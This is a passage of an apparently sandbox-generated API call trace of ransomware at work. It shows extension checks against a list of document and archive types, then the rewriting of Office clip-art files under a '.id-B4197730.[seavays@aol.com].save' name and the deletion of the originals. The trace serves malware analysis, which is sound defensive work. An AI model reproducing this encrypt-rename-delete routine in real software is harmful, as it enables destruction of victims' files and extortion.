[0071.602] lstrlenW (lpString=".doc") returned 4 [0071.602] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0071.602] lstrlenW (lpString=".docx") returned 5 [0071.602] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0071.602] lstrlenW (lpString=".pdf") returned 4 [0071.602] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0071.602] lstrlenW (lpString=".xls") returned 4 [0071.602] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0071.602] lstrlenW (lpString=".xlsx") returned 5 [0071.602] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0071.602] lstrlenW (lpString=".ppt") returned 4 [0071.602] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0071.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68 [0071.602] lstrlenW (lpString=".zip") returned 4 [0071.602] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0071.602] lstrlenW (lpString=".rar") returned 4 [0071.603] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0071.603] lstrlenW (lpString=".bz2") returned 4 [0071.603] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0071.603] lstrlenW (lpString=".7z") returned 3 [0071.603] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0071.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68 [0071.603] lstrlenW (lpString=".dbf") returned 4 [0071.603] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0071.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68 [0071.603] lstrlenW (lpString=".1cd") returned 4 [0071.603] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0071.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68 [0071.603] lstrlenW (lpString=".jpg") returned 4 [0071.603] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0071.603] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.603] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00687_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0071.604] GetLastError () returned 0x0 [0071.604] ReadFile (in: hFile=0x368, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x5130, lpOverlapped=0x0) returned 1 [0071.606] WriteFile (in: hFile=0x378, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x5140, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x5140, lpOverlapped=0x0) returned 1 [0071.608] ReadFile (in: hFile=0x368, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0071.608] WriteFile (in: hFile=0x378, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0071.608] SetEndOfFile (hFile=0x378) returned 1 [0071.608] CloseHandle (hObject=0x378) returned 1 [0071.608] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.608] SetEndOfFile (hFile=0x368) returned 1 [0071.609] CloseHandle (hObject=0x368) returned 1 [0071.609] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0071.609] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00687_.wmf")) returned 1 [0071.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0071.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0071.610] lstrlenW (lpString=".doc") returned 4 [0071.610] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0071.610] lstrlenW (lpString=".docx") returned 5 [0071.610] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0071.610] lstrlenW (lpString=".pdf") returned 4 [0071.610] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0071.610] lstrlenW (lpString=".xls") returned 4 [0071.610] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0071.610] lstrlenW (lpString=".xlsx") returned 5 [0071.610] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0071.610] lstrlenW (lpString=".ppt") returned 4 [0071.610] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0071.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0071.610] lstrlenW (lpString=".zip") returned 4 [0071.610] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0071.610] lstrlenW (lpString=".rar") returned 4 [0071.610] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0071.610] lstrlenW (lpString=".bz2") returned 4 [0071.610] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0071.610] lstrlenW (lpString=".7z") returned 3 [0071.610] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0071.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0071.610] lstrlenW (lpString=".dbf") returned 4 [0071.610] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0071.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0071.611] lstrlenW (lpString=".1cd") returned 4 [0071.611] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0071.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0071.611] lstrlenW (lpString=".jpg") returned 4 [0071.611] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0071.611] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.611] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.611] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00705_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0071.612] GetLastError () returned 0x0 [0071.612] ReadFile (in: hFile=0x368, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x600c, lpOverlapped=0x0) returned 1 [0071.613] WriteFile (in: hFile=0x378, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x6010, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x6010, lpOverlapped=0x0) returned 1 [0071.615] ReadFile (in: hFile=0x368, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0071.615] WriteFile (in: hFile=0x378, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0071.615] SetEndOfFile (hFile=0x378) returned 1 [0071.615] CloseHandle (hObject=0x378) returned 1 [0071.615] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.615] SetEndOfFile (hFile=0x368) returned 1 [0071.616] CloseHandle (hObject=0x368) returned 1 [0071.616] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0071.617] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00705_.wmf")) returned 1 [0071.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0071.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0071.618] lstrlenW (lpString=".doc") returned 4 [0071.618] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0071.618] lstrlenW (lpString=".docx") returned 5 [0071.618] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0071.618] lstrlenW (lpString=".pdf") returned 4 [0071.618] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0071.618] lstrlenW (lpString=".xls") returned 4 [0071.618] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0071.618] lstrlenW (lpString=".xlsx") returned 5 [0071.618] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0071.618] lstrlenW (lpString=".ppt") returned 4 [0071.618] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0071.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0071.618] lstrlenW (lpString=".zip") returned 4 [0071.618] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0071.618] lstrlenW (lpString=".rar") returned 4 [0071.618] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0071.618] lstrlenW (lpString=".bz2") returned 4 [0071.618] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0071.618] lstrlenW (lpString=".7z") returned 3 [0071.618] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0071.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0071.618] lstrlenW (lpString=".dbf") returned 4 [0071.618] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0071.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0071.618] lstrlenW (lpString=".1cd") returned 4 [0071.618] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0071.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0071.618] lstrlenW (lpString=".jpg") returned 4 [0071.619] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0071.619] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.619] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.619] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01015_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0071.850] GetLastError () returned 0x0 [0071.878] ReadFile (in: hFile=0x368, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x8b2, lpOverlapped=0x0) returned 1 [0071.880] WriteFile (in: hFile=0x398, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x8c0, lpOverlapped=0x0) returned 1 [0071.881] ReadFile (in: hFile=0x368, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0071.881] WriteFile (in: hFile=0x398, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0071.881] SetEndOfFile (hFile=0x398) returned 1 [0071.882] CloseHandle (hObject=0x398) returned 1 [0071.882] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.882] SetEndOfFile (hFile=0x368) returned 1 [0071.883] CloseHandle (hObject=0x368) returned 1 [0071.883] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0071.883] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01015_.wmf")) returned 1 [0071.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0071.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0071.884] lstrlenW (lpString=".doc") returned 4 [0071.884] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0071.884] lstrlenW (lpString=".docx") returned 5 [0071.884] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0071.884] lstrlenW (lpString=".pdf") returned 4 [0071.884] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0071.884] lstrlenW (lpString=".xls") returned 4 [0071.884] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0071.884] lstrlenW (lpString=".xlsx") returned 5 [0071.884] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0071.884] lstrlenW (lpString=".ppt") returned 4 [0071.884] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0071.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0071.884] lstrlenW (lpString=".zip") returned 4 [0071.884] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0071.884] lstrlenW (lpString=".rar") returned 4 [0071.884] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0071.884] lstrlenW (lpString=".bz2") returned 4 [0071.884] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0071.884] lstrlenW (lpString=".7z") returned 3 [0071.884] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0071.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0071.884] lstrlenW (lpString=".dbf") returned 4 [0071.884] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0071.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0071.884] lstrlenW (lpString=".1cd") returned 4 [0071.884] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0071.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0071.885] lstrlenW (lpString=".jpg") returned 4 [0071.885] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0071.885] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.885] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.885] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01157_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0071.886] GetLastError () returned 0x0 [0071.886] ReadFile (in: hFile=0x368, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0xe04, lpOverlapped=0x0) returned 1 [0071.889] WriteFile (in: hFile=0x398, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xe10, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xe10, lpOverlapped=0x0) returned 1 [0071.890] ReadFile (in: hFile=0x368, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0071.890] WriteFile (in: hFile=0x398, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0071.890] SetEndOfFile (hFile=0x398) returned 1 [0071.890] CloseHandle (hObject=0x398) returned 1 [0071.890] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.890] SetEndOfFile (hFile=0x368) returned 1 [0071.901] CloseHandle (hObject=0x368) returned 1 [0071.901] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0071.902] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01157_.wmf")) returned 1 [0071.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0071.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0071.902] lstrlenW (lpString=".doc") returned 4 [0071.902] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0071.902] lstrlenW (lpString=".docx") returned 5 [0071.902] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0071.902] lstrlenW (lpString=".pdf") returned 4 [0071.902] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0071.903] lstrlenW (lpString=".xls") returned 4 [0071.903] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0071.903] lstrlenW (lpString=".xlsx") returned 5 [0071.903] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0071.903] lstrlenW (lpString=".ppt") returned 4 [0071.903] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0071.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0071.903] lstrlenW (lpString=".zip") returned 4 [0071.903] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0071.903] lstrlenW (lpString=".rar") returned 4 [0071.903] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0071.903] lstrlenW (lpString=".bz2") returned 4 [0071.903] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0071.903] lstrlenW (lpString=".7z") returned 3 [0071.903] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0071.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0071.903] lstrlenW (lpString=".dbf") returned 4 [0071.903] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0071.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0071.903] lstrlenW (lpString=".1cd") returned 4 [0071.903] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0071.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0071.903] lstrlenW (lpString=".jpg") returned 4 [0071.903] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0071.905] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.905] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.905] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01160_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0071.906] GetLastError () returned 0x0 [0071.906] ReadFile (in: hFile=0x368, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x8b4, lpOverlapped=0x0) returned 1 [0071.908] WriteFile (in: hFile=0x398, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x8c0, lpOverlapped=0x0) returned 1 [0071.909] ReadFile (in: hFile=0x368, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0071.909] WriteFile (in: hFile=0x398, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0071.909] SetEndOfFile (hFile=0x398) returned 1 [0071.909] CloseHandle (hObject=0x398) returned 1 [0071.909] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.909] SetEndOfFile (hFile=0x368) returned 1 [0071.910] CloseHandle (hObject=0x368) returned 1 [0071.910] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0071.910] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01160_.wmf")) returned 1 [0071.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0071.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0071.911] lstrlenW (lpString=".doc") returned 4 [0071.911] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0071.911] lstrlenW (lpString=".docx") returned 5 [0071.911] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0071.911] lstrlenW (lpString=".pdf") returned 4 [0071.911] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0071.911] lstrlenW (lpString=".xls") returned 4 [0071.911] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0071.911] lstrlenW (lpString=".xlsx") returned 5 [0071.911] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0071.911] lstrlenW (lpString=".ppt") returned 4 [0071.911] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0071.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0071.912] lstrlenW (lpString=".zip") returned 4 [0071.912] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0071.912] lstrlenW (lpString=".rar") returned 4 [0071.912] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0071.912] lstrlenW (lpString=".bz2") returned 4 [0071.912] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0071.912] lstrlenW (lpString=".7z") returned 3 [0071.912] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0071.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0071.912] lstrlenW (lpString=".dbf") returned 4 [0071.912] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0071.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0071.912] lstrlenW (lpString=".1cd") returned 4 [0071.912] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0071.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0071.912] lstrlenW (lpString=".jpg") returned 4 [0071.912] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0071.913] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.913] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.913] CreateFileW 